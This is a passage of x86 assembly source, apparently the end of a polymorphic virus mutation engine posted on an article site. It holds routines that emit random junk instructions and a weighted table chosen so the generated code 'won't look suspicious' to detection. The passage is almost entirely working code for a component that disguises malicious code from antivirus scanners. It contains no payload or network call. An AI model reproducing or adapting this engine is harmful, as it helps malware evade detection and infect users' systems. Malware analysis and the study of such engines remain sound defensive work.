ret

movr_byte:
call GetAnyReg
push eax
call Get8bitRegFree
jnc @@1
pop eax
ret
@@1:
push eax
mov al, 08ah
jmp _reg_reg

movr_word:
mov al, 66h ;word-size prefix
stosb

movr_dword:
call GetAnyReg
push eax
call Get32bitRegFree
push eax
mov al, 08bh
_reg_reg:
stosb
pop eax ;destino
pop edx ;source
shl eax, 3
or eax, edx
or eax, 11000000b
stosb
ret

mov_dword:
call Get32bitRegFree
or al, 0b8h
stosb
call random0
stosd
ret

mov_word:
mov al, 66h
stosb
call Get32bitRegFree
or al, 0b8h
stosb
call random0
stosw
ret

mov_byte:
call Get8bitRegFree
jc @@1
or al, 0b0h
stosb
call random0
stosb
@@1:
ret

inc_dec:
bt dwo [ebp+ofs reg32-ofs engine], 31
jc @@0
call Get32bitRegFree
add al, 40h
call random_f
jc @@1
or al, 01000b ;inc/dec
@@1:
stosb
@@0:
ret

mov_zs_x:
call random0
mov eax, 0b60fh
js @@1
mov ah, 0beh ;z/s
@@1:
adc ah, 0 ;16/8
stosw
call GetAnyReg
push eax
call Get32bitRegFree
shl eax, 3
pop edx
or eax, edx
or al, 0c0h
stosb
ret

;The garble routine randomly choose a ptr from this table to call to generate
;the garbage instructions. So, the more the pointer to routine appear, more
;frequent will be this code generated. Good to adjust the proportion of each
;in generated code, else it will look very suspicious.

garbling_routines:
dd ofs math_word-ofs engine
dd ofs movr_word-ofs engine ;The 16b instructions are rare under
dd ofs mov_word-ofs engine ;32b envoroments

dd ofs mov_zs_x-ofs engine ;MOVSX/MOVZX also are rare

dd ofs math_byte-ofs engine
dd ofs math_byte-ofs engine
dd ofs movr_byte-ofs engine
dd ofs movr_byte-ofs engine
dd ofs mov_byte-ofs engine
dd ofs mov_byte-ofs engine ;operations with bytes are common

dd ofs inc_dec-ofs engine
dd ofs inc_dec-ofs engine ;and INC/DECs are common too

dd ofs push_pop-ofs engine
dd ofs push_pop-ofs engine
dd ofs push_pop-ofs engine ;PUSH/POPs appear often in win32 code

dd ofs lea_dword-ofs engine
dd ofs lea_dword-ofs engine
dd ofs lea_dword-ofs engine ;the LEA instruction is also very used

dd ofs math_dword-ofs engine
dd ofs math_dword-ofs engine
dd ofs math_dword-ofs engine
dd ofs math_dword-ofs engine
dd ofs movr_dword-ofs engine
dd ofs movr_dword-ofs engine
dd ofs movr_dword-ofs engine
dd ofs movr_dword-ofs engine
dd ofs mov_dword-ofs engine
dd ofs mov_dword-ofs engine
dd ofs mov_dword-ofs engine
dd ofs mov_dword-ofs engine
dd ofs math_dword-ofs engine
dd ofs math_dword-ofs engine
dd ofs math_dword-ofs engine
dd ofs math_dword-ofs engine
dd ofs movr_dword-ofs engine
dd ofs movr_dword-ofs engine
dd ofs movr_dword-ofs engine
dd ofs movr_dword-ofs engine
dd ofs mov_dword-ofs engine
dd ofs mov_dword-ofs engine ;The 32b instructions are the main
dd ofs mov_dword-ofs engine ;part of all programs
dd ofs mov_dword-ofs engine

garbling_routines_end:

engine_end:

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT